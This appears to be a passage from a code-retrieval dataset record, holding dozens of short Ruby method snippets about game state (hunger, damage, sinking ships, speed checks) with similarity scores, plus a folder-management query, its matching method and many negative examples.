"def is_sunk? \n if @life > 0\n return false\n else\n return true\n end\n end",
"def slip_damage_effect\r\n # Set damage\r\n slip_damage_effect_base_damage\r\n # Dispersion\r\n slip_damage_effect_dispersion\r\n # Subtract damage from HP\r\n slip_damage_effect_damage\r\n # End Method\r\n return true\r\n end",
"def slip_damage_effect\n # Set damage\n self.damage = self.maxhp / 10\n # Dispersion\n if self.damage.abs > 0\n amp = [self.damage.abs * 15 / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Subtract damage from HP\n self.hp -= self.damage\n # End Method\n return true\n end",
"def item_effect_damagefix\r\n self.damage = nil unless $game_temp.in_battle\r\n end",
"def skill_effect_damagefix\r\n self.damage = nil unless $game_temp.in_battle\r\n end",
"def hungry?\r\n @food <= 2\r\n end",
"def not_safe?(speed)\n\tspeed > 60 || speed < 40 ? true: false\nend",
"def floating?(ctx)\n source.floating?(ctx)\n end",
"def game_over?\n @life <= 0\nend",
"def down?\n @hp <= 0 \n end",
"def shutter_speed?\n !shutter_speed.nil?\n end",
"def not_safe?(speed)\n\tspeed < 40 || speed > 60 ? true : false\nend",
"def not_safe?(speed)\n\tspeed < 40 || speed > 60 ? true : false\nend",
"def gilded?\n self[:gilded] > 0\n end",
"def flying?\n not $game_map.screen.pictures[@picture_index].name == \"\"\n end",
"def not_safe?(speed)\n return speed < 40 || speed > 60 ? true : false \n \n\t\nend",
"def unsafe?(speed)\n if speed < 40 || speed > 60\n true\n else\n false\n end\nend",
"def has_ships_still_floating?\n end",
"def unsafe?(speed)\n if speed > 60 || speed < 40\n return true \nelse\n return false\n end\nend",
"def flop?\n total_gross.blank? || total_gross < 50000000\n end",
"def ship_sunk?\n @ship_sunk\n end",
"def not_safe?(speed)\n\treturn speed < 40 || speed > 60 ? true : false;\nend",
"def not_safe?(speed)\n\t\n\tspeed < 40 || speed > 60 ? true : false\nend",
"def not_safe? (speed)\n speed >= 40 && speed <= 60 ? false : true\n end",
"def not_safe?(speed)\n speed < 40 || speed > 60 ? true : false\nend",
"def type_flying?\n return type?(GameData::Types::FLYING)\n end",
"def not_safe?(speed)\n speed < 40 || speed > 60 ? true : false\nend",
"def flammable?\n type.flammable?\n end",
"def medium_boat?\n self.boat? ? ( boat_size == :medium ) : false\n end",
"def shadows?\n @shadows\n end",
"def combat?; false; end",
"def still?\n speed.zero?\n end",
"def fifteen?\n @points == 1\n end",
"def taking_damage?\n if @warrior.health < @health\n true\n else\n false\n end\n end",
"def damaged\n @hp = @hp - 1\n end",
"def skill_effect_damage\r\n # Substract damage from HP\r\n last_hp = self.hp\r\n self.hp -= self.damage\r\n return self.hp != last_hp\r\n end",
"def should_eat?\n !stat_boosted?\n end",
"def check_faint\n if $PokemonGlobal.surfing==true || $PokemonGlobal.bicycle==true\n else\n if $Trainer.party[0].hp<=0 \n $game_variables[Current_Following_Variable]=0 \n remove_sprite\n elsif $Trainer.party[0].hp>0 && !$Trainer.party[0].egg?\n end \n end\nend",
"def gravity_affected?\n return data.gravity\n end",
"def casts_shadows?\n end",
"def eat(food)\n if food.veggie? && !@carnivore\n @hunger -= 10\n elsif food.meat? && @carnivore\n @hunger -= 10\n end\n @hunger = 0 if @hunger < 0\n end",
"def xtvt_not_dropped_quality?\n ( (is_dropped!= true && half==1 && staff_appraisal.is_skt_endorsed == true) || (_destroy!=true && half==2) ) && ( !indicator_desc_quality.blank? && !target_quality.blank?)\n end",
"def unsafe?(speed)\n\tif unsafe = speed > 60 || speed < 40\n\tputs unsafe = speed > 60 || speed < 40\n\tunsafe\n\telse\n\tputs !!unsafe\n\t!!unsafe\n\tend\nend",
"def wound(damage)\n if (@shield >= damage)\n @shield -= damage\n else \n remaining_damage = damage - @shield\n @shield = 0\n if (@health - remaining_damage) > 0 \n @health -= remaining_damage\n else\n @health = 0\n end\n end\nend",
"def receives_shadows?\n end",
"def take_damage(damage)\n if (@health - damage <= 0)\n @is_alive = false\n @health = 0\n else\n @health -= damage\n end\n end",
"def isLoose?\r\n @hitpoint <= 0\r\n end",
"def isLoose?\r\n @hitpoint <= 0\r\n end",
"def hungry?\n\n\t\t @stuff_in_belly <= 2\n\t\tend",
"def unsafe?(speed)\n\tif(speed < 40 || speed > 60)\n\t\treturn true;\n\telse\n\t\treturn false;\n\tend\nend",
"def isFacile? \n return @facile\n end",
"def slip_damage_effect_base_damage\r\n self.damage = self.maxhp / 10\r\n end",
"def hungry?\n\t\t@stuff_in_belly <= 2\n\tend",
"def hungry?\n\t\t@stuff_in_belly <= 2\n\tend",
"def hungry?\n\t @stuff_in_belly <= 2\n\tend",
"def floatable_size?\n image_width && image_width < 500\n end",
"def effect?\n return true if @effect_type != nil\n #return true if @weapon.visible\n #return true if moving?\n #result |= LOOP_TYPE.include?(@pose+1)\n return false\n end",
"def create_shadow?\n if @shadow == nil and @character.floating?\n @shadow = Sprite_GTBS_Shadow.new(viewport, @character)\n end\n if @shadow != nil and !@character.floating?\n @shadow.dispose\n @shadow = nil\n end\n end",
"def float?\n self.class.float?(self)\n end",
"def try( d=0 )\r\n\t\t\t@damaged += d\r\n\t\t\t@damaged = [ 0, @damaged ].max\r\n\t\t\t@damaged = [ @damaged, 20 ].min\r\n\t\t\treturn true if @damaged == 0\r\n\t\t\treturn false if @damaged == 20\r\n\t\t\tch = Die.roll(20)\r\n\t\t\treturn true if ch > @damaged\r\n\t\t\t@damaged = 20\r\n\t\t\treturn false\r\n\t\tend",
"def sorrounded?\n enemies_around > 2\n end",
"def over?\n frame_number >= FRAMES + (frame_number == FRAMES && (strike? || spare?) ? 1 : 0)\n end",
"def behavior_hungry\n @world.food.each do |food|\n if distance_from_point(food.position) < (food.quantity + ROID_SIZE*5)\n @delta -= self.position - food.position\n end \n if distance_from_point(food.position) <= food.quantity + 5\n eat food\n end \n end \n end",
"def hungry? \n\ttrue\nend",
"def is_floating_state\n super\n end",
"def farkle?\n if !self.three_set? && !self.single_scoring?\n @farkle_count += 1\n @current_score = 0\n true\n else\n false\n end\n end",
"def can_attack?(target)\n if target.is_a?(Stealth)\n return true if (DamageChart::PriDamage[@unit_type][target.unit_type] != -1 and @ammo > 0)\n else\n return super\n end\n end",
"def attack_effect_guard_correction\r\n self.damage /= 2 if self.guarding?\r\n end",
"def hungry?\n @stuffInBelly <= 2\n end",
"def update_sseffect?\r\n # If effect is showing\r\n return @spriteset.effect?\r\n end",
"def lost?\n @life <=0\n end",
"def hungry?\n @stuff_in_belly <= 2\n end",
"def hungry?\n @stuff_in_belly <= 2\n end",
"def hungry?\n @stuff_in_belly <= 2\n end",
"def double_faced?\n two_up? && mana_costs_shown.select(&:present?).count < 2\n end",
"def wound(damage)\n remaindmg = damage-@shields\n if damage > @shields\n @shields = 0\n @health -= remaindmg \n elsif @shields >= damage\n @shields -= damage\n else\n @health -= damage\n end\n if @health <= 0\n @health = 0\n end\n end",
"def applyHealing(x)\n if (x.base_damage < 0 || \n x.hp_recovery > 0 || x.hp_recovery_rate > 0 ||\n x.mp_recovery > 0 || x.mp_recovery_rate > 0) == @value\n return true\n else\n return false\n end\n end",
"def hurt?\n\t\t@warrior.health < 20\n\tend",
"def allow_fixation? \n @fixation\n end",
"def hungry?\n@stuff_in_belly <= 2\nend",
"def unstable?\n harm > 3\n end",
"def slip_damage_effect_damage\r\n self.hp -= self.damage\r\n end",
"def collision(damage)\n end",
"def sunk?\n if @length < 1\n @sunk = true\n return true\n else\n return false\n end\n end",
"def hungry?\n\t@stuff_in_belly <= 2\nend",
"def take_off!\n\t\t@flying = true\n\t\tself\n\tend",
"def draw?\n !(won?) && full?\n end",
"def maybe_promote\n if @color == :black && @position[0] == 0\n @king = true\n elsif @color == :red && @position[0] == 7\n @king = true\n end\n end",
"def taking_damage_action\n if @warrior.feel(:backward).empty? && @health < 10\n @warrior.walk!(:backward)\n elsif @warrior.feel.empty?\n @warrior.walk!\n elsif @warrior.feel.enemy?\n @warrior.attack!\n end\n end",
"def bust?(hand)\n return hand_total( hand ) > WIN_VALUE \n\n end",
"def falsx\n false\nend",
"def degenerate?\n @floor == @ceiling\n end",
"def draw? \n if full? == true\n !won?\n end\n end",
"def land?; !@water; end",
"def land?; !@water; end",
"def land?; !@water; end",
"def hungry?\n # end a method with ? if it returnes true or false\n @stuff_in_belly <= 2\n end"
] | [
"0.69369316",
"0.6706441",
"0.65630144",
"0.65539813",
"0.64137626",
"0.641336",
"0.63043964",
"0.62646216",
"0.62010205",
"0.6185797",
"0.6177466",
"0.61705405",
"0.6131323",
"0.61248267",
"0.6091322",
"0.6091322",
"0.6059737",
"0.605727",
"0.6056006",
"0.60350794",
"0.6034452",
"0.6027202",
"0.6024275",
"0.60207945",
"0.60008806",
"0.5998662",
"0.59870225",
"0.5973122",
"0.59615225",
"0.5960025",
"0.59533125",
"0.5945194",
"0.5933675",
"0.5931063",
"0.59208834",
"0.59121656",
"0.586899",
"0.58624554",
"0.58602154",
"0.5859672",
"0.58503443",
"0.5846862",
"0.58436",
"0.5840923",
"0.584031",
"0.5818945",
"0.58184844",
"0.5818297",
"0.5815946",
"0.5815336",
"0.5815336",
"0.5810624",
"0.5789736",
"0.57891035",
"0.5770966",
"0.57556003",
"0.57556003",
"0.5753446",
"0.57485163",
"0.57324654",
"0.5731352",
"0.57239604",
"0.57217944",
"0.57107276",
"0.57086295",
"0.5700492",
"0.5700436",
"0.5697887",
"0.56973493",
"0.56964386",
"0.56920063",
"0.5682018",
"0.5673957",
"0.5673156",
"0.5671876",
"0.5671876",
"0.5671876",
"0.56690955",
"0.56669444",
"0.5663879",
"0.56626964",
"0.56507856",
"0.56425506",
"0.56417847",
"0.56397843",
"0.5639716",
"0.56378555",
"0.56371206",
"0.5635946",
"0.5632608",
"0.56301665",
"0.5629986",
"0.562925",
"0.56264484",
"0.56235147",
"0.56173617",
"0.5616711",
"0.5616711",
"0.5616711",
"0.5616549"
] | 0.57385844 | 59 |
TODO def change_folder(folder_id) end | def add_folder_members(folder_id, member_ids)
post_json("folders/add-members", {
folder_id: folder_id,
member_ids: member_ids.join(',')
})
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = PulStore::Lae::Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find_by!(id: params[:id], user_id: current_user.id)\n end",
"def setFolderId(folderId)\r\n\t\t\t\t\t@folderId = folderId\r\n\t\t\t\tend",
"def folder_changed(choo_dir, choo_file)\n dir = choo_dir.filename\n choo_file.current_folder = dir\nend",
"def set_file_folder\n @file_folder = FileFolder.find(params[:id])\n end",
"def edit_folder_name\n\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Rename Item\")\n # folder = client.folder_from_id(params[:folder_id])\n session[:current_folder] = params[:folder_id]\n\n # make Box API call to update folder name\n begin\n client.update_folder(params[:folderId], name: params[:folderName])\n Rails.cache.delete(\"/folder/#{session[:box_id]}/my_folder/#{params[:folderId]}\")\n flash[:notice] = \"Folder name changed to \\\"#{params[:folderName]}\\\"\"\n rescue\n flash[:error] = \"Error: Could not change folder name\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def set_folder\n begin\n @folder = Folder.find(params[:id])\n rescue ActiveRecord::RecordNotFound => e\n render json: {\n error: e.to_s\n }, status: :not_found\n end\n end",
"def setFolder(folder)\r\n\t\t\t\t\t@folder = folder\r\n\t\t\t\tend",
"def folder_id\n self.folder.id\n end",
"def set_folder\n @folder_id = params[:folder_id] ? params[:folder_id] : params[:id]\n unless @folder_id==\"#\"\n @folder = current_user.is_support? ? Folder.where(id: @folder_id).first : Folder.where(user_id: current_user.id, id: @folder_id).first\n\n params[:project_id] = @project_id = @folder.project_id\n @project = current_user.is_support? ? Project.where(id: @project_id).first : Project.where(user_id: current_user.id, id: @project_id).first unless @project\n end\n end",
"def rip_folder(folder_id)\n \n query_string = \"SELECT ZICCLOUDSYNCINGOBJECT.ZTITLE2, ZICCLOUDSYNCINGOBJECT.ZOWNER, \" + \n \"ZICCLOUDSYNCINGOBJECT.Z_PK \" +\n \"FROM ZICCLOUDSYNCINGOBJECT \" + \n \"WHERE ZICCLOUDSYNCINGOBJECT.Z_PK=?\"\n\n #Change things up for the legacy version\n if @version == IOS_LEGACY_VERSION\n query_string = \"SELECT ZSTORE.Z_PK, ZSTORE.ZNAME as ZTITLE2, \" +\n \"ZSTORE.ZACCOUNT as ZOWNER \" + \n \"FROM ZSTORE \" +\n \"WHERE ZSTORE.Z_PK=?\"\n end\n\n @database.execute(query_string, folder_id) do |row|\n tmp_folder = AppleNotesFolder.new(row[\"Z_PK\"],\n row[\"ZTITLE2\"],\n get_account(row[\"ZOWNER\"]))\n @folders[folder_id] = tmp_folder\n end \n end",
"def update\n temp = @folder_client.update(get_id, params_create_folder)\n if temp[:status]\n flash_message(:notice,\"#{t('folder.folder')} #{t('succesfully_updated')}\")\n redirect_to folder_path(temp[:data].id)\n else\n flash_message(:error, 'Problema actualizando Carpeta')\n redirect_to root_path\n end\n @success = temp[:status]\n end",
"def update\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to folder_url(:id => @folder.name), :notice => 'Folder was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @service = EditFolder.new(@node_adapter)\n @service.run(@db_folder, folder_params)\n render status: @service.success? ? :ok : :unprocessable_entity\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def update!(**args)\n @folder = args[:folder] if args.key?(:folder)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def update\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @folder.update(folder_params)\n render :show, status: :ok\n else\n render json: @folder.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params.merge(user_id: current_user.id))\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def folder(id)\n Box::Folder.new(@api, nil, :id => id)\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.json { render :show, status: :ok, location: @folder }\n else\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n flash[:notice] = 'Folder was successfully updated.'\n format.html { redirect_to(@folder) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to(@folder, :notice => 'Folder was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def reassign_folders\n # Category association might not be updated when category_id changed\n new_parent_folder = Course::Assessment::Category.find(category_id).folder\n\n folders.each do |folder|\n folder.parent = new_parent_folder\n throw(:abort) unless folder.save\n end\n end",
"def change_folder(folder=nil, base=nil, dir=nil)\n \n # Set defaults if parameters not given\n base=PROFILE_BASE unless base\n\n FOLDER_DEFAULTS.each do |key|\n if key[:name] == folder\n puts \"Found key: #{key[:name]}\" if @debug\n # Ok key found\n dir=key[:dir] unless dir\n # Add it to stage\n @folders.push({ :name => folder, :value => base+'\\\\'+dir })\n end\n end\n @folders\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_folder(folder)\n # Remove any copy if we already have it\n @folders.delete_if {|old_folder| old_folder.primary_key == folder.primary_key}\n @folders.push(folder)\n end",
"def set_folder_type\n @folder_type = FolderType.find(params[:id])\n end",
"def folder_id\n current.folder.id\n end",
"def update\r\n if request.post?\r\n if @folder.update_attributes(:name => params[:folder][:name], :date_modified => Time.now)\r\n redirect_to :action => 'list', :id => folder_id\r\n else\r\n render_action 'rename'\r\n end\r\n end\r\n end",
"def move_to_folder=(value)\n @move_to_folder = value\n end",
"def update\n authorize! :update, params[:id]\n respond_to do |format|\n if @folder.update(folder_params.except('project_pid'))\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n # repopulate these values for the response\n @page_title = \"Edit Lae Folder #{@folder.physical_number}\"\n @pages_list = get_pages_by_folder @folder.id\n format.html { render action: 'edit' }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_folder(folder_id)\n @folders[folder_id]\n end",
"def get_folder(folder_id)\n @folders[folder_id]\n end",
"def rename_folder\n result = folder_service.rename(@folder, params[:name])\n\n raise ApiError, result.value[:message] if result.failure?\n\n render json: result.value, adapter: :json\n end",
"def update\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n flash[:notice] = 'Folder was successfully updated.'\n format.html { redirect_to(:controller => 'documents', :action => 'index',\n :project_id => @folder.project, :folder_id => @folder.id) }\n format.xml { head :ok }\n else\n flash[:error] = \"Errors encountered while attempting to update folder.\"\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_Folder(value)\n set_input(\"Folder\", value)\n end",
"def move_folder\n\n destFolder = params[:dest]\n targetFolder = params[:folder_id]\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Move Folder - Drag & Drop\")\n\n # get folder\n folder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder/#{params[:dest]}\", :expires_in => 10.minutes) do\n client.folder_from_id(params[:dest])\n end\n\n begin\n # get shared folder, then move file into shared folder\n client.move_folder(targetFolder, destFolder)\n flash[:notice] = \"Folder moved into \\\"#{folder.name}\\\"\"\n rescue\n flash[:error] = \"Error: Folder could not be moved\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def update_folder(folder_changes)\n req = build_soap! do |type, builder|\n if(type == :header)\n else\n builder.nbuild.UpdateFolder {\n builder.nbuild.parent.default_namespace = @default_ns\n builder.nbuild.FolderChanges {\n folder_changes.each do |fc|\n builder[NS_EWS_TYPES].FolderChange {\n builder.dispatch_folder_id!(fc)\n builder[NS_EWS_TYPES].Updates {\n # @todo finish implementation\n }\n }\n end\n }\n }\n end\n end\n do_soap_request(req)\n end",
"def getFolderId\r\n\t\t\t\t\treturn @folderId\r\n\t\t\t\tend",
"def move_folder\n parent_folder = Folder.find_folder(params[:folder_id])\n parent_folder1 = Folder.find_folder(parent_folder.parent_id)\n portfolio_id_old = parent_folder.portfolio_id\n @portfolio_old = portfolio_id_old\n folder_id_old = params[:folder_id]\n @folder = parent_folder\n @portfolio = @folder.portfolio\n @parent_folder = parent_folder\n move_folder_id = Folder.find_folder(params[:move_folder_id])\n @moved_folder = move_folder_id\n @moved_portfolio_old = @moved_folder.portfolio_id\n params[:folder_id] = parent_folder.parent_id if !parent_folder.nil?\t\tand !params[:element_type].nil? and params[:element_type].blank?\n if params[:move_folder_id] and !params[:move_folder_id].blank?\n move_document(parent_folder,parent_folder1,portfolio_id_old,folder_id_old,move_folder_id) if params[:element_type] == \"document\" and params[:operation] and params[:operation] == \"move\"\n copy_document(parent_folder,parent_folder1,portfolio_id_old,folder_id_old,move_folder_id) if params[:element_type] == \"document\" and params[:operation] and params[:operation] == \"copy\"\n move_folders(parent_folder,parent_folder1,portfolio_id_old,folder_id_old,move_folder_id) if params[:element_type] != \"document\" and params[:operation] and params[:operation] == \"move\"\n copy_folder(parent_folder,parent_folder1,portfolio_id_old,folder_id_old,move_folder_id) if params[:element_type] != \"document\" and params[:operation] and params[:operation] == \"copy\"\n end\n display_collection_of_folders_docs_tasks\n end",
"def set_favorite_folder\n self.favorite_folder_id = profile.favorite_folder.id if favorite_folder.nil?\n end",
"def folder_id\n case params[:controller] + '/' + params[:action]\n when 'folder/index', 'folder/list', 'folder/new', 'folder/create', 'folder/update_permissions', 'folder/feed', 'file/upload', 'file/validate_filename'\n current_folder_id = 1 unless current_folder_id = params[:id]\n when 'file/do_the_upload'\n # This prevents a URL like 0.0.0.0/file/do_the_upload/12,\n # which breaks the upload progress. The URL now looks like this:\n # 0.0.0.0/file/do_the_upload/?folder_id=12\n current_folder_id = 1 unless current_folder_id = params[:folder_id]\n when 'folder/rename', 'folder/update', 'folder/destroy'\n current_folder_id = @folder.parent_id if @folder\n when 'file/download', 'file/rename', 'file/update', 'file/destroy', 'file/preview'\n current_folder_id = @myfile.folder.id\n when 'inbox/do_the_upload', 'inbox/index'\n unless params[:user_id].nil?\n current_folder_id = Folder.fetch_user_inbox(params[:user_id]).id \n else\n current_folder_id = Folder.fetch_user_inbox(@logged_in_user.id).id \n end\n end\n\n case params[:controller]\n when 'claims'\n current_folder_id = 2\n end\n\n return current_folder_id\n end",
"def local_folder= new_folder\n @local_folder = File.expand_path(new_folder)\n end",
"def update\n @task_folder = TaskFolder.find(params[:id])\n\n respond_to do |format|\n if @task_folder.update_attributes(params[:task_folder])\n format.html { redirect_to task_folder_url(@task_folder), notice: 'Task folder was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task_folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_fallacyfolder\n\t\t@fallacyfolder = Fallacyfolder.find(params[:id])\n\tend",
"def set_sharedfolder\n @sharedfolder = Sharedfolder.find(params[:id])\n end",
"def upload_folder(folder_name, location: 'root')\n begin\n update_refresh_token if refresh_due?\n upload = @drive_manager.post(\n { 'name' => folder_name,\n 'mimeType' => 'application/vnd.google-apps.folder' }.to_json\n )\n rescue StandardError => error\n warn \"#{error}; METHOD #{__callee__}; RESOURCE #{folder_name}\"\n retry\n end\n\n folder_id = JSON.parse(upload)['id']\n\n if location != 'root'\n begin\n update_refresh_token if refresh_due?\n @drive_manager[folder_id + '?addParents=' + location +\n '&removeParents=root&alt=json'].patch(\n { 'uploadType' => 'resumable' }.to_json\n )\n rescue StandardError => error\n warn \"#{error}; METHOD #{__callee__}; RESOURCE #{folder_name}\"\n retry\n end\n end\n\n folder_id\n end",
"def new_folder\n\n puts \"create new folder\"\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"New Folder\")\n\n # get \"My Files\" and \"Shared Files\" folder objects\n @currentFolder = params[:parent_id]\n\n # create new subfolder\n begin\n newFolder = client.create_folder(params[:folderName], @currentFolder)\n rescue\n puts \"could not create new folder\"\n flash[:error] = \"Error: could not create folder\"\n end\n\n redirect_to dashboard_id_path(@currentFolder)\n end",
"def move_feed_to_folder(feed, folder: nil, folder_title: nil)\n FolderManager.move_feed_to_folder feed, self, folder: folder, folder_title: folder_title\n end",
"def update\n respond_to do |format|\n if @file_folder.update(file_folder_params)\n format.html { redirect_to @file_folder, notice: 'File folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @file_folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pathify_folder(folder)\n if folder.private?\n \"/home/files?folderId=#{folder.id}\"\n elsif folder.public?\n \"/home/files/everybody?folderId=#{folder.id}\"\n elsif folder.in_space?\n \"/home/files/spaces?folderId=#{folder.id}\"\n else\n raise \"Unable to build folder's path\"\n end\n end",
"def set_inventoryfolder\n @inventoryfolder = Inventoryfolder.find(params[:id])\n end",
"def update\n @folder = sanitized_folder(params[:category]) \n current_user.user_categories.find(params[:id]) # make sure it exists or else raise execption\n @category = Category.find(params[:id])\n @category.folder = @folder\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to category_path(@category), notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_folder\n #~ find_portfolio_and_folder\n folder_name = find_folder_name(@folder.id,params[:folder_name])\n folder_property = Folder.find_by_real_estate_property_id_and_parent_id(@folder.real_estate_property_id,0) if @folder\n portfolio_id = (folder_property && folder_property.portfolio_id) ? folder_property.portfolio_id : @portfolio.id\n folder=Folder.create(:name=>folder_name,:parent_id=>@folder.id,:portfolio_id=>portfolio_id,:user_id=>current_user.id,:real_estate_property_id=>@folder.real_estate_property_id)\n #to restrict the auto sharing inside the property folder\n unless params[:collaborators_list].blank?\n @member_emails =[]\n owner=Folder.find(params[:folder_id]).user.email\n email_ids = params[:collaborators_list].split(',')\n email_ids.each do |m|\n @member_emails << m.strip if m.strip != owner\n end\n email_ids = email_ids.reject{|email_id| current_user.email == email_id}\n share_folder(email_ids,folder)\n end\n if @folder.parent_id != 0\n shared_folders_1= SharedFolder.find(:all,:conditions=>['folder_id = ?',@folder.id])\n create_share_folders(shared_folders_1,folder)\n end\n Event.create_new_event(\"create\",current_user.id,nil,[folder],current_user.user_role(current_user.id),folder.name,nil)\n assign_params(\"asset_data_and_documents\",\"show_asset_files\")\n assign_options\n add_visual_effect_folder_file_name(\"Folder\",\"created\")\n end",
"def create\r\n if request.post?\r\n @folder = Folder.new(params[:folder])\r\n @folder.parent_id = folder_id\r\n @folder.date_modified = Time.now\r\n @folder.user = @logged_in_user\r\n\r\n if @folder.save\r\n # copy groups rights on parent folder to new folder\r\n copy_permissions_to_new_folder(@folder)\r\n\r\n # back to the list\r\n redirect_to :action => 'list', :id => params[:id]\r\n else\r\n render_action 'new'\r\n end\r\n end\r\n end",
"def folder\n @folders[@folder_name]\n end",
"def remote_folder= new_folder\n @remote_folder = File.expand_path(new_folder)\n end",
"def folder(name)\n Kamelopard::Folder.new(name)\n end",
"def set_folder2\n @folder2 = Folder2.find(params[:id])\n end",
"def parent_folder_id=(value)\n @parent_folder_id = value\n end",
"def root_folder_id\n self.root_folder\n end",
"def import_folder! folder\n end",
"def folder_name\n @folder_name\n end",
"def move_folder\n if ENV['RACK_ENV'] == 'production'\n if File.directory?(get_folder(name_change.last))\n error!('A folder with this name already exists.', 400)\n else\n FileUtils.mv get_folder(name_change.first), get_folder(name_change.last)\n end\n end\n end",
"def update!(**args)\n @folders = args[:folders] if args.key?(:folders)\n end",
"def update!(**args)\n @folders = args[:folders] if args.key?(:folders)\n end",
"def file(folder)\n raise Error::Constraint.new(\"Filing not supported for objects of type: #{self.class.id}\") unless self.class.fileable\n @original_parent_folders ||= parent_folders.dup\n if repository.capabilities[\"MultiFiling\"]\n @parent_folders << folder unless @parent_folders.detect {|f| f.id == folder.id }\n else\n @parent_folders = [folder]\n end\n end",
"def move(id, folder = 0)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n # This provides support for an Array of ids.\n if id.is_a? Array then\n id = id.join(',')\n end\n\n make_post_call('/files/move?file_ids=%s&parent_id=%i' % [id, folder]).status == \"OK\"\n end",
